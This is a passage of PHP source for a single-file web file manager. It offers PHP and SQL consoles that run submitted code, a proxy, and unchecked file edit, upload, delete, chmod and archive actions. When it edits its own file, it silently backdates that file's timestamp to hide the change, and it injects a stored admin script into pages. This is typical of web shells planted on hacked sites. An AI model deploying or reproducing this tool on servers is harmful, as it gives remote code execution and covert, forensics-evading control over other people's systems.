'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
